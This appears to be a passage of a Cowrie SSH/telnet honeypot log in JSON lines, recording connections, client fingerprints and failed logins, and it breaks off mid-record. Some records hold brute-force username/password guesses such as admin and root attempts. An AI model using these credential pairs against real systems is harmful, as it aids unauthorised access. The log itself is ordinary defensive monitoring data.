{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:54.632603Z","src_ip":"159.203.92.129","session":"e2de42363770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"111111","message":"login attempt [adam/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:54.645843Z","src_ip":"159.203.92.129","session":"e2de42363770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:55.653067Z","src_ip":"159.203.92.129","session":"e2de42363770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49595594406128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:56.474380Z","src_ip":"160.250.202.248","session":"d3199ba82683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":60049,"dst_ip":"159.203.135.109","dst_port":22,"session":"7caa78fbaa25","protocol":"ssh","message":"New connection: 2.57.121.112:60049 (159.203.135.109:22) [session: 7caa78fbaa25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:58.392991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:58.401540Z","src_ip":"2.57.121.112","session":"7caa78fbaa25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98451018333435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:58.481837Z","src_ip":"160.250.202.248","session":"bc32097a7c1e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:58.505840Z","src_ip":"2.57.121.112","session":"7caa78fbaa25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19mtpgam19","message":"login attempt [admin/19mtpgam19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:59.000255Z","src_ip":"2.57.121.112","session":"7caa78fbaa25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19992000","message":"login attempt [admin/19992000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:00.109478Z","src_ip":"2.57.121.112","session":"7caa78fbaa25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.450211763381958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:00.554927Z","src_ip":"160.250.202.248","session":"721c0e844c04","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"199000","message":"login attempt [admin/199000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:01.222278Z","src_ip":"2.57.121.112","session":"7caa78fbaa25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"198989","message":"login attempt [admin/198989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:02.330977Z","src_ip":"2.57.121.112","session":"7caa78fbaa25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"198585","message":"login attempt [admin/198585] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:03.439352Z","src_ip":"2.57.121.112","session":"7caa78fbaa25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:04.548811Z","src_ip":"2.57.121.112","session":"7caa78fbaa25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48078966140747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:08.496352Z","src_ip":"160.250.202.248","session":"9b188db2d1da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":64845,"dst_ip":"10.17.0.5","dst_port":22,"session":"607587b73a68","protocol":"ssh","message":"New connection: 20.193.141.133:64845 (10.17.0.5:22) [session: 607587b73a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:12.082815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:12.087559Z","src_ip":"20.193.141.133","session":"607587b73a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:12.284095Z","src_ip":"20.193.141.133","session":"607587b73a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:13.099861Z","src_ip":"20.193.141.133","session":"607587b73a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:14.299601Z","src_ip":"20.193.141.133","session":"607587b73a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":60112,"dst_ip":"159.203.135.109","dst_port":22,"session":"f026ab9e5715","protocol":"ssh","message":"New connection: 117.247.23.131:60112 (159.203.135.109:22) [session: f026ab9e5715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:17.944104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:17.952732Z","src_ip":"117.247.23.131","session":"f026ab9e5715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:18.874150Z","src_ip":"117.247.23.131","session":"f026ab9e5715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.42631483078003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:19.480047Z","src_ip":"160.250.202.248","session":"e815213e68db","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfr4BGT%nhy6","message":"login attempt [root/vfr4BGT%nhy6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:21.977892Z","src_ip":"117.247.23.131","session":"f026ab9e5715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:23.834757Z","src_ip":"117.247.23.131","session":"f026ab9e5715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00333952903748,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:26.953131Z","src_ip":"102.135.170.60","session":"31f1da6884c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":42344,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb2a390761a","protocol":"telnet","message":"New connection: 102.135.170.60:42344 (10.17.0.5:23) [session: bdb2a390761a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:28.270366Z"}
{"eventid":"cowrie.session.closed","duration":120.00341367721558,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:29.840782Z","src_ip":"102.135.170.60","session":"8b091409b5d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":42684,"dst_ip":"10.17.0.5","dst_port":23,"session":"205cd2975a01","protocol":"telnet","message":"New connection: 102.135.170.60:42684 (10.17.0.5:23) [session: 205cd2975a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:31.092884Z"}
{"eventid":"cowrie.session.closed","duration":120.00223088264465,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:32.334836Z","src_ip":"102.135.170.60","session":"38ecf63e22ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00134539604187,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:32.414554Z","src_ip":"102.135.170.60","session":"cc7f215c62f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":43122,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dda4b962b44","protocol":"telnet","message":"New connection: 102.135.170.60:43122 (10.17.0.5:23) [session: 0dda4b962b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:36.429817Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54306,"dst_ip":"159.203.135.109","dst_port":22,"session":"d06f80c7e420","protocol":"ssh","message":"New connection: 159.203.92.129:54306 (159.203.135.109:22) [session: d06f80c7e420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:36.547730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:36.552862Z","src_ip":"159.203.92.129","session":"d06f80c7e420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:36.557736Z","src_ip":"159.203.92.129","session":"d06f80c7e420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"123","message":"login attempt [adam/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:36.624868Z","src_ip":"159.203.92.129","session":"d06f80c7e420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:19:37.632004Z","src_ip":"159.203.92.129","session":"d06f80c7e420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":37243,"dst_ip":"10.17.0.5","dst_port":22,"session":"23cb3c94f0e2","protocol":"ssh","message":"New connection: 20.193.141.133:37243 (10.17.0.5:22) [session: 23cb3c94f0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:16.692026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:16.698299Z","src_ip":"20.193.141.133","session":"23cb3c94f0e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:16.896171Z","src_ip":"20.193.141.133","session":"23cb3c94f0e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"x","message":"login attempt [admin/x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:17.721858Z","src_ip":"20.193.141.133","session":"23cb3c94f0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:18.922153Z","src_ip":"20.193.141.133","session":"23cb3c94f0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43466,"dst_ip":"159.203.135.109","dst_port":22,"session":"7902b573487f","protocol":"ssh","message":"New connection: 159.203.92.129:43466 (159.203.135.109:22) [session: 7902b573487f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:24.371705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:24.577827Z","src_ip":"159.203.92.129","session":"7902b573487f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 